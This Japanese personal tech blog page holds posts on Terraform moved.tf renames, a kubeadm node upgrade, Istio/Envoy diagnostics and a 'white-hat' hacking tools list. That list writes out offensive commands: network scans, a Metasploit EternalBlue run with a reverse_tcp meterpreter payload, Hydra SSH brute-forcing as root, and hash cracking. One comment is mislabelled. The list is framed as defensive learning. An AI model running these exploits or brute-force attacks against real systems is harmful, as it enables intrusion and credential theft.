flower road

2025年12月7日日曜日

terraform(moved.tf)のリソース名の修正方法について

以下の赤枠を直接変えてしまうと、ec2が削除されてしまいます。
これを維持したい場合について記載します。

以下にmoved.tfファイルを作成します。

以下のように、fromに修正前で、toに修正したい内容を記載します。

以下のリソースにも修正を加えます。

terraform applyで実施します。

修正が終わったらmoved.tfは削除して問題ないです。

2025年11月16日日曜日

k8s node version UP(1.34.1 > 1.34.2)

[マスターノードでの準備と安全確保]

1)etcdctl クライアントのインストール: (未インストールの場合は必要)

apt update

apt install etcd-client

2)etcd バックアップの取得と退避 (最重要):

ETCDCTL_API=3 etcdctl --endpoints=127.0.0.1:2379 \

--cacert=/etc/kubernetes/pki/etcd/ca.crt \

--cert=/etc/kubernetes/pki/apiserver-etcd-client.crt \

--key=/etc/kubernetes/pki/apiserver-etcd-client.key \

snapshot save /tmp/etcd_backup_$(date +%Y%m%d_%H%M%S).db

3)ファイルをクラスター外の安全な場所（ローカルPCなど）にコピーします。

環境によって、異なるので割愛します。(おそらくSCPなど待避されるのではと思いますが)

4)Pod Disruption Budget (PDB) の一時削除:

ドレインをブロックするIstioなどのPDBを削除します。

kubectl delete pdb istio-ingressgateway -n istio-system

kubectl delete pdb istiod -n istio-system

[コントロールプレーンのアップグレード]

1)kubeadm バイナリの更新:

apt-mark unhold kubeadm

apt install -y kubeadm=1.34.2-1.1

apt-mark hold kubeadm

2)コアコンポーネントの適用:

kubeadm upgrade apply v1.34.2

3)kubelet と kubectl パッケージの更新:

apt-mark unhold kubelet kubectl

apt install -y kubelet=1.34.2-1.1 kubectl=1.34.2-1.1

4)kubelet の再起動:

systemctl daemon-reload

systemctl restart kubelet

5)パッケージのホールド再設定:

apt-mark hold kubelet kubectl

[ワーカーノードのアップグレード（ノードごとに繰り返し）]

rasp-node1 と rasp-node2 で、以下の手順を1台ずつ実行します。

1)ドレイン（マスターノードで実行）:

kubectl drain <ノード名> --ignore-daemonsets --delete-emptydir-data --force

2)ノードの設定更新（ワーカーノードで実行）

対象のワーカーノードにログインし、kubeletの設定を更新します。

kubeadm upgrade node

3)kubelet サービス更新（ワーカーノードで実行）

apt-mark unhold kubelet

apt install -y kubelet=1.34.2-1.1

systemctl daemon-reload

systemctl restart kubelet

apt-mark hold kubelet

4)アンコルドン（マスターノードで実行

kubectl uncordon <ノード名>

[ 最終確認と PDB の再適用]

実行場所: マスターノード (rasp-master)

全ノードバージョン確認: すべてのノードが v1.34.2 で Ready であることを確認します
kubectl get nodes

2025年8月19日火曜日

ハッキングツール一覧(ホワイトハッカー編)

1. ポート・ネットワークスキャン系

Nmap：標準。ポート・サービス検出・OS推定まで。
# 単純なポートスキャン
nmap 192.168.1.10

# 開いているポートとサービスを詳細にスキャン
nmap -sV -O 192.168.1.10

# 複数ホストをスキャン
nmap -sV 192.168.1.1-254
RustScan：Nmapより速くスキャンして、その結果をNmapに渡せる。
# 1-65535ポートを高速スキャンしてNmapで詳細情報を取得
rustscan -a 192.168.1.10 --ulimit 5000 -- -A
Masscan：超高速、インターネット全体もスキャン可能。
→ イメージ：攻撃者はまず「どこに何が開いてるか」を確認。
# 80番ポートをスキャン
masscan 192.168.0.0/16 -p80 --rate=1000

2. 脆弱性検索・Exploit系

Metasploit：ペイロード作成・攻撃実行・脆弱性検証。
# 80番ポートをスキャン
msfconsole
# 使用するモジュール選択
use exploit/windows/smb/ms17_010_eternalblue
# ターゲット設定
set RHOST 192.168.1.10
set RPORT 445
# ペイロード設定
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.5
run
SearchSploit：Exploit-DB検索。ローカルでオフライン利用可能。
# "Apache Struts" の脆弱性検索
searchsploit Apache Struts

# ローカルコピーを利用
searchsploit -m exploits/linux/remote/12345.py
ExploitDB / PacketStorm：公開されている攻撃コード・情報サイト。
→ ポイント：攻撃方法を知り、防御策に活かす。

3. ウェブアプリ列挙・総当たり系

Gobuster：ディレクトリ・ファイル・サブドメイン列挙。
# ディレクトリ列挙
gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt

# サブドメイン列挙
gobuster dns -d example.com -w subdomains.txt
Dirb / Dirbuster：古典的ディレクトリ総当たり。
dirb http://example.com /usr/share/wordlists/dirb/common.txt
WFuzz：フォームやパラメータへのブルートフォース。
→ ポイント：攻撃者が「隠しページや管理画面」を探す手順。
# ユーザーIDパラメータをブルートフォース
wfuzz -c -z file,usernames.txt --hc 404 http://example.com/login?user=FUZZ

4. パスワード攻撃・認証突破系

Hydra：多プロトコル対応。ログインブルートフォース。
# SSHログイン試行
hydra -l root -P passwords.txt ssh://192.168.1.10
John the Ripper：ハッシュ解析、パスワード強度チェック。
# ハッシュファイル解析
john --wordlist=rockyou.txt hash.txt
Hashcat：GPU対応で超高速ハッシュ解析。
→ ポイント：パスワードの弱さがどれだけ危険か体感できる。
hashcat -m 0 -a 0 hash.txt rockyou.txt

5. 監視・検知系（防御を学ぶため）

Snort / Suricata：IDS/IPS。リアルタイムで攻撃検知。
# Snortでパケット監視
snort -A console -c /etc/snort/snort.conf -i eth0
OSSEC / Wazuh：ログ監視・侵入検知。
# ログ監視設定（例）
ossec-control start
fail2ban：ログ解析して自動ブロック。
→ ポイント：攻撃手法を知ることで、防御策がより現実的になる。
# SSHログイン失敗でIPをブロック
sudo fail2ban-client status sshd

まとめ
- 攻撃系ツールは「脆弱性理解」と「防御策の検証」に役立つ。
- 防御系ツールは「攻撃を知ることでより実践的な対策が取れる」

2025年3月23日日曜日

istio ingress gateway(指定したEnvoyプロキシが接続しているクラスターの情報表示)

指定した Envoy プロキシが接続しているクラスターの情報を表示しています。
出力からは、Envoy プロキシがどのサービスに対して接続設定を持っているか
またはどのサービスとの通信が行われているかを確認できます。

[出力の説明]
SERVICE FQDN:

接続先サービスのFQDN（完全修飾ドメイン名）。

PORT:

接続先サービスがリッスンしているポート番号。

SUBSET:

サービスのサブセット（指定されている場合）。

DIRECTION:

通信の方向

- outbound は、プロキシが外向きに送信するトラフィック

- inbound はプロキシが受信するトラフィック

TYPE:

クラスターのタイプ

①EDS (Endpoint Discovery Service)

意味: EDSは、サービスのエンドポイント情報を動的に管理するためのサービスです。EDSタイプのクラスターは、サービスメッシュ内のエンドポイントが動的に変化する場合に使用されます。
用途: 通常、Istio や Envoy が管理するクラスターは、エンドポイントのリストが動的に変更されるため、エンドポイントディスカバリ（エンドポイントの追加や削除）が必要です。例えば、Pod がスケールイン・スケールアウトされる場合、EDS クラスターはそれに合わせてエンドポイントのリストを更新します。

②STATIC

意味: STATICタイプは、静的に設定されたクラスターです。通常、固定のIPアドレスやホスト名に基づいたエンドポイントを指し、動的なエンドポイント変更はありません。
用途: 静的なサービス（例えば、外部のサービスや一部の特定のリソース）への接続を指定する際に使用されます。例えば、Prometheus やログ収集用の静的な接続などがこれに該当します。

以下、コマンドを投入してみる。

istioctl proxy-config clusters istio-ingressgateway-587f957f4f-p8hhj -n istio-system

Istioの診断ツール( istioctl proxy-status)

Envoyの状態を簡単に確認するためのコマンドです。このコマンドで、Envoyがクライアントとサーバー間の通信を適切に処理しているかを確認できます

このコマンドは、各Envoyプロキシがどのように接続されているかを示すステータス情報を提供します。例えば、SYNCED 状態でない場合は、Envoyプロキシが最新の設定を取得していない可能性があります。

以下のコマンドを投入
istioctl proxy-status

istio ingress gateway(envoyアクセスログを出力してみる)

istio ingress gateway経由で、該当のPod(nginx)にアクセスが出来ているのか

把握したいので、istio ingress gateway(Envoy)に対して、出力されるログの設定を行ってみる

1)EnvoyFilterのマニフェストを作成して、デプロイを実施する

apiVersion: networking.istio.io/v1alpha3
kind: EnvoyFilter
metadata:
  name: ingressgateway-access-log
  namespace: istio-system
spec:
  configPatches:
    - applyTo: NETWORK_FILTER
      match:
        listener:
          filterChain:
            filter:
              name: envoy.filters.network.http_connection_manager
      patch:
        operation: MERGE
        value:
          typed_config:
            "@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
            access_log:
              - name: envoy.access_loggers.stdout
                typed_config:
                  "@type": type.googleapis.com/envoy.extensions.access_loggers.stream.v3.StdoutAccessLog
                  log_format:
                    json_format:
                      START_TIME: "%START_TIME%"
                      METHOD: "%REQ(:METHOD)%"
                      PATH: "%REQ(X-ENVOY-ORIGINAL-PATH?:PATH)%"
                      PROTOCOL: "%PROTOCOL%"
                      RESPONSE_CODE: "%RESPONSE_CODE%"
                      BYTES_RECEIVED: "%BYTES_RECEIVED%"
                      BYTES_SENT: "%BYTES_SENT%"
                      USER_AGENT: "%REQ(USER-AGENT)%"
                      UPSTREAM_HOST: "%UPSTREAM_HOST%"
                      UPSTREAM_CLUSTER: "%UPSTREAM_CLUSTER%"
                      DOWNSTREAM_LOCAL_ADDRESS: "%DOWNSTREAM_LOCAL_ADDRESS%"
                      DOWNSTREAM_REMOTE_ADDRESS: "%DOWNSTREAM_REMOTE_ADDRESS%"
  workloadSelector:
    labels:
      app: istio-ingressgateway

2)istio ingress gateway(Envoy)にログインして、curlコマンドを実施
例：10.106.197.8は、istio ingress gatewayのLBのアドレスになる

3)istio ingress gateway(Envoy)のログを確認してみる
kubectl -n istio-system logs -l app=istio-ingressgateway -c istio-proxy